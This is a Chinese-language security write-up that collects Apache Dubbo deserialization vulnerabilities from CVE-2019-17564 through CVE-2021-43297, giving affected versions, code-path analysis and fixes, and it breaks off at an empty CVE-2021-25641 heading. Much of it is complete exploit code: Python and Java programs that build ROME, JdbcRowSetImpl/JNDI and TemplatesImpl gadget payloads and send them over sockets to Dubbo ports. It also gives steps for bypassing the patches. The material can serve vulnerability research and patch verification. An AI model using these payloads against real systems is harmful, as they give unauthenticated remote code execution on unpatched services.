Apache Dubbo漏洞汇总

CVE-2019-17564

漏洞描述

Apache Dubbo支持多种协议,官方推荐使用Dubbo协议。Apache Dubbo HTTP协议中的一个反序列化漏洞(CVE-2019-17564),该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后,Apache Dubbo对消息体处理不当导致不安全反序列化,当项目包中存在可用的gadgets时即可导致远程代码执行。

影响版本

2.7.0 <= Apache Dubbo <= 2.7.4
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x

漏洞细节

使用http协议,用post传递反序列化数据
source:org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service
如果handler对象不等于null,就调用handle.handle方法处理
Dubbo支持这几种协议来进行数据的传输交互,而本次处理HTTP协议的进入到org.apache.dubbo.rpc.protocol.http.HttpProtocol
进入org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle
跟进skeleton.handleRequest之后调用的是 spring 的 HttpInvoker
Spring HttpInvoker是一个新的远程调用模型,作为Spring框架的一部分,执行基于HTTP的远程调用(意味着可以通过防火墙),并使用Java的序列化机制在网络间传递对象。
官方文档也提示可能存在Java反序列化漏洞
最后反序列化点在sink:org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation

漏洞修复

在org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle方法中将skeleton的类型由HttpInvokerServiceExporter改为JsonRpcServer,这样在skeleton.handle当中没办法处理我们传输Java序列化字节流,因此就会抛出异常,也就是说这里的org.apache.dubbo.rpc.protocol.http.HttpProtocol后续处理不是通过Spring HttpInvoker了,而是通过JsonRpc,即直接把POST请求体的handler由“Java原生反序列化”改为“JsonRpcServer”。。

CVE-2020-1948

漏洞描述

Dubbo 2.7.6或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。
经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对 Dubbo 服务端进行恶意代码执行,影响广泛。
传输协议用的是Hessian2

影响版本

Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)
修复可绕过

漏洞细节

这个洞能用的链比较多,网上的poc大多用rome
DecodeableRpcInvocation.decode()方法并传递进去两个参数,其中有一个inputStream参数,参数内容就是通过POC发送的序列化数据。
第一个POC最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rome的引用
漏洞原作者的POC,使用的是任意不存在的service和method,导致Dubbo找不到注册的service而抛出异常,在抛出异常的时候触发漏洞
所以有两种触发方法

  • 在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实现反序列化
  • 反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE

第二种方式,未找到service而抛出异常的位置在org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker
在ToStringBean实现的toString方法中,会遍历传入对象的所有方法(Method对象),并且通过java实现的invoke方法动态调用传入对象的所有Method对象,当此处for循环执行到JdbcRowSetImpl类中getDatabaseMetData函数时候,会调用函数内connect方法,导致执行JdbcRowSetImpl的执行链,导致代码执行。
exp/poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/ExploitMac",
strMatchColumns=["fxx"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='test',
args=[toStringBean])

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private static Object getPayload() throws Exception {
//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://127.0.0.1:1389/xitdbc";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);

//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
setFieldValue(s, "table", tbl);

return s;
}

漏洞修复

在DecodeableRpcInvocation#decode方法中的if(pts == DubboCodec.EMPTY_CLASS_ARRAY)判断中又新增了一个判断,限制了RPC的方法名,不是指定方法的话会抛出异常。新增加的判断如果判断失败则会抛出IllegalArgumentException异常终止当前线程的执行。

有用的修复:
将 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免对输入参数进行反序列化。
也可以参考Dubbo 漏洞 CVE-2020-1948 复现+简单修复

补丁绕过

方法名我们可控,在脚本中修改方法名method_name为$invoke,$invokeAsync,$echo其中任意一个即可。

v2.7.8

漏洞描述

影响版本

漏洞细节

在该版本中,在isGenericCall 和 isEcho中有了更多的限制。
不仅方法名需要等于$invoke,$invokeAsync,$echo其中一个,参数类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object; 或者 Ljava/lang/Object; 的时候才会继续进行反序列化操作。
**方式一:默认的Hessian2反序列化**
这种反序列姿势,可以用到2.7.13中去
DecodeableRpcInvocation#decode方法是用来获取数据体中的一些信息用的,其中一种利用方式就是通过在读取version的时候,调用readUTF方法。
readUTF调用Hessian2Input#readString方法。readString主要是通过获取tag位,进行相应的处理,但是这里关键的就是,当这里不是一个String类型的时候,将会抛出异常
在抛出异常的expect方法中调用readObject。readObject方法同样是获取tag位做出相应的处理操作
如果tag为72,即为H的时候将会获取对应的Deserializer类,之后调用他的readMap,通过hessian反序列化的学习我们是知道ROME链中就是MapDeserilizer,然后调用readMap就和hessian反序列化一样了
所以我们需要使得这里的不为String而是一个HashMap对象
**方式二:Hessian2 way 2**
另一种利用方式就是在Dubbo协议解析的位置
Dubbo协议格式如下
dubbo协议格式

dubbo协议格式2

开头的magic位类似java字节码文件里的魔数,用来判断是不是dubbo协议的数据包,魔数是常量0xdabb,用于判断报文的开始
org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode函数在解析dubbo协议时先判断请求头是否是魔术字0xdabb
当魔术头校验通过后,将会调用decodeBody方法
decodeBody方法获取flag标志位,一共8个地址位。低四位用来表示消息体数据用的序列化类型(默认hessian),高四位中,第一位为1表示是request请求,第二位为1表示双向传输(即有返回response),第三位为1表示是心跳事件,调用相应的反序列化函数对数据流进行反序列化操作
当服务端判断接收到的为事件时,会调用decodeHeartbeatData,进而调用decodeEventData方法,进而调用in.readEvent方法,最后调用readObject方法,造成反序列化漏洞。
将前面的payload修改一下将flag置为event事件就会触发漏洞

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;

import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

import static org.apache.dubbo.common.utils.FieldUtils.setFieldValue;

public class Exp {
private static Object getPayload() throws Exception {
//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://127.0.0.1:1389/xitdbc";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);

//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
setFieldValue(s, "table", tbl);

return s;
}
public static void main(String[] args) throws Exception {
byte[] header = new byte[16];
Bytes.short2bytes((short) 0xdabb, header);
header[2] = (byte) ((byte) 0x80 | 2);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeObject(getPayload());

out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();

@SuppressWarnings( "resource")
Socket socket = new Socket( "127.0.0.1", 9999) ;
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush() ;
outputStream.close();
}
}
1
2
3
4
5
byte[] header = new byte[16];
Bytes.short2bytes((short) 0xdabb, header);
// header[2] = (byte) ((byte) 0x80 | 2);
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

漏洞修复

在v2.7.9版本中针对上一个版本hessian利用方式,对事件进行了长度限制。具体逻辑在decodeEventData方法中。
判断了待反序列化的数据长度是否超过配置的阈值(默认为50),如超过则抛出异常,不再继续反序列化,这样就导致了上面的way 2不能够使用了。但第一种方法还能用。
后面的版本应该是用黑白名单修复的

v2.7.9

漏洞描述

影响版本

漏洞细节

针对上一个版本hessian利用方式,对事件进行了长度限制。具体逻辑在decodeEventData方法中。
判断了待反序列化的数据长度是否超过配置的阈值(默认为50),如超过则抛出异常,不再继续反序列化,这样就导致了上面的way 2不能够使用了。但第一种方法还能用。

CVE-2021-30179

漏洞描述

Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:

  • true
  • raw.return
  • nativejava
  • bean
  • protobuf-json

我们可以通过控制反序列化的方式为raw.return/true/nativejava/bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞

影响版本

Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)

漏洞细节

在DecodeableRpcInvocation#decode方法内,判断方法名是否为invoke或者invokeAsync,desc是否为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;,或者方法名为$echo,desc是否为Ljava/lang/Object;,如果不满足则直接抛出异常。
decode完成后会回到org.apache.dubbo.remoting.transport.DecodeHandler#decode,然后回到received,最后在received方法内调用this.handler.received,即HeaderExchangeHandler.java#received方法处理请求,若为泛型引用,则将调用GenericFilter#invoke方法。
在GenericFilter#invoke方法内

  • 在获取了方法名/类型/参数之后,将会通过反射获取该方法,如果不存在就会抛出异常。
  • 接下来将通过获取请求中的generic参数来选择通过raw.return/nativejava/bean反序列化参数成pojo对象
    1. 如果generic为raw.return或者true,将调用PojoUtils#realize方法。接着调用readlize、realize0
      在readlize0中的逻辑为:
      若pojo为Map实例,则从pojo(也就是一开始的第三个参数)获取key为“class”的值,并通过反射得到class所对应的类type,再判断对象的类型进行下一步处理。
      如果type不是Map的子类、不为Object.class且不是接口,则进入else。在else中,对type通过反射进行了实例化,得到对象dest。再对pojo进行遍历,以键名为name,值为value,调用getSetterMethod(dest.getClass(), name, value.getClass());方法获取set方法。
      可以通过org.apache.xbean.propertyeditor.JndiConverter父类中的setAsText方法进行JNDI注入。
    2. 如果generic为bean, 则将会调用JavaBeanSerializeUtil#deserialize处理
      其中调用了instantiateForDeserialize方法,返回一个JavaBeanDescriptor描述的对象
      之后调用deserializeInternal进行反序列化, 如果beanDescriptor.isBeanType()(只需要实例化JavaBeanDescriptor时指定即可),则将遍历beanDescriptor,获取property及value,调用getSetterMethod获取对应的set方法
      最后利用反射执行method.invoke(dest, value);。
      可以使用org.apache.xbean.propertyeditor.JndiConverter的setAsText发起JNDI注入了。
    3. 如果generic是nativejava。
      将遍历args,如果args[i]的类型为byte,以args[]为参数,实例化一个UnsafeByteArrayInputStream,再通过反射获得NativeJavaSerialization,再调用NativeJavaSerialization#readObject方法。
      相当于执行了UnsafeByteArrayInputStream#readObject方法造成了反序列化。
      exp:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      public static void main(String[] args) throws Exception {
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

      // header.
      byte[] header = new byte[16];
      // set magic number.
      Bytes.short2bytes((short) 0xdabb, header);
      // set request and serialization flag.
      header[2] = (byte) ((byte) 0x80 | 2);

      // set request id.
      Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
      ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
      Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

      // set body
      out.writeUTF("2.7.9");
      // todo 此处填写Dubbo提供的服务名
      out.writeUTF("org.apache.dubbo.spring.boot.demo.consumer.DemoService");
      out.writeUTF("");
      out.writeUTF("$invoke");
      out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
      // todo 此处填写Dubbo提供的服务的方法
      out.writeUTF("sayHello");
      out.writeObject(new String[] {"java.lang.String"});

      // POC 1: raw.return
      // getRawReturnPayload(out, "ldap://127.0.0.1:8087/Exploit");

      // POC 2: bean
      getBeanPayload(out, "ldap://127.0.0.1:1389/xitdbc");

      // POC 3: nativejava
      // getNativeJavaPayload(out, "src\\main\\java\\top\\lz2y\\1.ser");

      out.flushBuffer();

      Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
      byteArrayOutputStream.write(header);
      byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

      byte[] bytes = byteArrayOutputStream.toByteArray();

      //todo 此处填写Dubbo服务地址及端口
      Socket socket = new Socket("127.0.0.1", 9999);
      OutputStream outputStream = socket.getOutputStream();
      outputStream.write(bytes);
      outputStream.flush();
      outputStream.close();
      }
      private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
      HashMap jndi = new HashMap();
      jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
      jndi.put("asText", ldapUri);
      out.writeObject(new Object[]{jndi});
      HashMap map = new HashMap();
      map.put("generic", "raw.return");
      out.writeObject(map);
      }
      private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
      JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7);
      javaBeanDescriptor.setProperty("asText",ldapUri);
      out.writeObject(new Object[]{javaBeanDescriptor});
      HashMap map = new HashMap();
      map.put("generic", "bean");
      out.writeObject(map);
      }
      private static void getNativeJavaPayload(Hessian2ObjectOutput out, String serPath) throws Exception, NotFoundException {
      //创建TemplatesImpl对象加载字节码
      byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj,"_name","RoboTerh");
      setFieldValue(obj,"_class",null);
      setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
      setFieldValue(obj,"_bytecodes",new byte[][]{code});
      //创建 ChainedTransformer实例
      Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(TrAXFilter.class),
      new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}),
      };
      ChainedTransformer chain = new ChainedTransformer(transformers);
      //创建TranformingComparator 实例
      Comparator comparator = new TransformingComparator(chain);

      PriorityQueue priorityQueue = new PriorityQueue(2);
      priorityQueue.add(1);
      priorityQueue.add(2);
      Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
      field.setAccessible(true);
      field.set(priorityQueue, comparator);

      //序列化
      ByteArrayOutputStream baor = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(baor);
      oos.writeObject(priorityQueue);
      oos.close();
      byte[] payload = baor.toByteArray();

      out.writeObject(new Object[] {payload});

      HashMap map = new HashMap();
      map.put("generic", "nativejava");
      out.writeObject(map);
      }

      漏洞修复

      在2.7.10中,使用了黑名单来阻断raw.return和bean这两条链
      在org\apache\dubbo\common\utils\PojoUtils.java#realize0和org\apache\dubbo\common\beanutil\JavaBeanSerializeUtil.java#name2Class增加如下代码:
      1
      2
      3
      4
      //org\apache\dubbo\common\utils\PojoUtils.java#realize0
      SerializeClassChecker.getInstance().validateClass((String)className);
      //org\apache\dubbo\common\beanutil\JavaBeanSerializeUtil.java#name2Class
      SerializeClassChecker.getInstance().validateClass(name);
      在org\apache\dubbo\common\utils\SerializeClassChecker.java#validateClass中有一个Map类型的黑名单CLASS_DESERIALIZE_BLOCKED_SET,将传进来的name和黑名单进行比较。
      而nativejava则通过判断配置文件是否允许nativejava的反序列化

CVE-2021-37579

漏洞描述

这一个对安全检查serialization.security.check的绕过

影响版本

2.7.x <= Apache Dubbo <= 2.7.12
3.0.x <= Apache Dubbo <= 3.0.1

Dubbo输入流分析

Dubbo官方在2.6.10.1开始就引入了一个属性serialization.security.check来避免消费者指定Provider的序列化类型,达到恶意的目的
如果我们将属性serialization.security.check置为true
直接在启动类设置环境变量:

1
System.setProperty("serialization.security.check", "true");

在消费者中我们指定java方法的反序列化。
首先在DecodeHandler#received方法中接收request请求
1
调用decode方法对数据进行解析
2
强转为Decodeable类之后继续调用decode解析
3
代入channel和输入流继续解析
来到了DecodeableRpcInvocation#decode方法
4
首先将会分别获取输入流的dubbo版本,获取服务的接口,provider的版本号,等等信息
最关键的是在try语句中将会通过if语句判断serialization.security.check属性值的是否为true,如果开启了检查,将会进入if语句,调用
CodecSupport.checkSerialization方法进行检查
5
在这里,他将会获取对应的服务,利用SERIALIZATIONNAME_ID_MAP判断服务是否存在,如果存在将会获取provider对应的序列化方式
后面会判断provider中的反序列化方式是否和消费者指定的序列化方式一致,如果不一致,当然就会抛出异常,一定程度上防止了篡改序列化方式的攻击。

漏洞细节

官方在checkSerialization方法中想要执行检查的前提使需要进入到else语句中,而前面的if判断看似是验证了服务的有效性,但是同样也提供了绕过思路,如果我们在构造reqeust请求的时候,指定服务的version为一个不存在的值,那么在if判断前获取providerModel时将不会找到这个服务,得到了一个null值,进入if语句,虽然打印了日志,但是不影响程序的运行,能够继续执行程序。
因为是serialization.security.check的绕过,所以下面的exp不管serialization.security.check是否打开,都能使用

1
ProviderModel providerModel = repository.lookupExportedServiceWithoutGroup(path + ":" + version);

最后成功调用了in.readObject的方法,执行了反序列化。
exp(Rome链的一条不出网的反序列化链,也有其他链):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
package org.apache.dubbo.springboot.demo.consumer;

import com.rometools.rome.feed.impl.EqualsBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.dubbo.common.io.Bytes;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Hashtable;

public class test {

protected static final int HEADER_LENGTH = 16;
protected static final short MAGIC = (short) 0xdabb;
protected static final byte FLAG_REQUEST = (byte) 0x80;
protected static final byte FLAG_TWOWAY = (byte) 0x40;
protected static final byte FLAG_EVENT = (byte) 0x20;

//反射设置属性值
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
//生成TemplateImpl类的bytecodes属性值
public static byte[] getByteCodes() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
return bytes;
}
//获取hashtable对应的payload
public static Hashtable getPayload(Class clazz, Object obj) throws Exception {
EqualsBean bean = new EqualsBean(String.class, "xxx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", obj);
map2.put("zZ", bean);
map2.put("yy", obj);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "beanClass", clazz);
setFieldValue(bean, "obj", obj);
return table;
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] { getByteCodes() });
setFieldValue(obj, "_name", "RoboTerh");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//写入content属性
Hashtable t1 = getPayload(Templates.class, obj);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(t1, kp.getPrivate(), Signature.getInstance("DSA"));

Hashtable t2 = getPayload(SignedObject.class, signedObject);

/*
0-7: Magic High header[0]
8-15:Magic Low header[1]
16:Req/Res |
17:2way |
18:Event | header[2]
19-23:Serialization |
24-31:status header[3]
32-95:id header[4-11]
96-127:body header[12-14]
*/

// header.
byte[] header = new byte[HEADER_LENGTH];

// set magic number.
Bytes.short2bytes(MAGIC , header);

// set request and serialization flag.
// 2 -> "hessian2"
// 3 -> "java"
// 4 -> "compactedjava"
// 6 -> "fastjson"
// 7 -> "nativejava"
// 8 -> "kryo"
// 9 -> "fst"
// 10 -> "native-hessian"
// 11 -> "avro"
// 12 -> "protostuff"
// 16 -> "gson"
// 21 -> "protobuf-json"
// 22 -> "protobuf"
// 25 -> "kryo2"
boolean isResponse = false;
boolean okResponse = true;
if (isResponse) {
header[2] = (byte) 3;
if (okResponse) {
header[3] = (byte) 20;
} else {
header[3] = (byte) 0;
}
} else {
header[2] = (byte) (FLAG_REQUEST | 3);
}

boolean isTwoWay = true;
if (isTwoWay) {
header[2] |= FLAG_TWOWAY;
}

boolean isEvent = false;
if (isEvent) {
header[2] |= FLAG_EVENT;
}

// set request id.
Bytes.long2bytes(666, header, 4);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
try {
/* For Requests, we need to encode the following objects
1.dubboVersion
2.path
3.version
4.methodName
5.methodDesc
6.paramsObject
7.map
*/
oos.writeInt(666);
//随便
oos.writeUTF("3.0.0");
oos.writeInt(666);
//要对应上
oos.writeUTF("org.apache.dubbo.springboot.demo.DemoService");
oos.writeInt(666);
//不能是0.0.0或1.0.0
oos.writeUTF("5.0.0");
oos.writeInt(666);
oos.writeUTF("sayHello");
oos.writeInt(666);
oos.writeUTF("Ljava/lang/String;");
oos.writeByte(666);
Object o = t2;
oos.writeObject(o);
} finally {
if (oos != null) {
oos.close();
}
}
// write length of body into header
Bytes.int2bytes(baos.size(), header, 12);
// write header into OS
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
// write payload into OS
byteArrayOutputStream.write(baos.toByteArray());
// get bytes
byte[] bytes = byteArrayOutputStream.toByteArray();
// send bytes
Socket socket = new Socket("127.0.0.1", 9999);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}

TODO漏洞修复

具体修复逻辑应该在org.apache.dubbo.remoting.transport.CodecSupport#checkSerialization

CVE-2021-43297

漏洞描述

https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww
根据官方的描述,主要是通过抛出异常的except的obj.toString造成的漏洞

影响版本

2.6.x <= version <2.6.12
2.7.x <= version <=2.7.14
3.0.x <= version <= 3.0.4

漏洞细节

漏洞修复主要在hessian-lite
修复了src/main/java/com/alibaba/com/caucho/hessian/io文件夹下5个java文件6个地方,其中5个地方是将obj改为obj.getClass().getName(),避免了引式调用obj.toString(),还有一个地方将value改为value.getClass().getName(),道理一样。
CVE-2021-43297修复
最后还有一个DENY_CLASS禁用了某些包前缀,大概就是触发toString调用链的某些部分。
CVE-2021-43297修复2

对于AbstractDeserializer、AbstractListDeserializer、AbstractMapDeserializer的修复,引用Longofo的话就是:

1
2
这怎么看都不对劲,输入流读出对象,对象不为空抛异常!!!这没有上下文看起来多少带点大病。抽象类不能被实例化,看看有没有子类没有重写这个方法,如果没有重写或重写并调用了父类这个方法,那么就能触发.toString()的调用了。
找了一圈,这三个抽象类的所有子类,都重写了这个方法,并且都不会调用父类地方法,那么这里的修复猜测可能是用户会继承这个类然后没有重写的可能,就不考虑这种情况了。

Hessian2Input#expect的调用和v2.7.8的默认的Hessian2反序列化中有着类似的调用流程
同样是在读取version信息的时候,调用readUTF方法
进而调用readString方法
在其中获取tag位进行判断
如果能够进入这个default分支,将会调用到expect方法
在这里,在将传入的对象进行反序列化之后直接调用其toString方法进行利用
而前面主要是通过调用readObject方法进行利用
这里主要是通过反序列化之后得到对象,调用其toString方法进行利用。
详细可以参考Longofo师傅y4er师傅的文章

利用条件
对于上面这个basic项目,使用zoomkeeper作为注册中心,要利用需要的条件如下:

  • 知道目标服务的ip&port,不需要知道zoomkeeper注册中心的地址,上面测试项目中使用的是这种样例,可以看到在客户端代码中,我没有用服务端提供的接口而是随便写的一个,依然可以成功利用
  • 或者需要知道zoomkeeper的ip&port+一个目标的interface接口名称(因为先和zoomkeeper通信,如果没有提供正确的接口名称,他不会返回目标的ip和port信息,如果你知道目标的一个interface接口,那么就可以借助zoomkeeper拿到目标的ip和port,总之和zoomkeeper通信的目的也是拿到目标的ip和port)
  • 一个toString利用链

漏洞修复

使用getClass().getName()避免了.toString()的隐式调用。

CVE-2021-25641 Kryo/FTS协议反序列化漏洞

漏洞描述

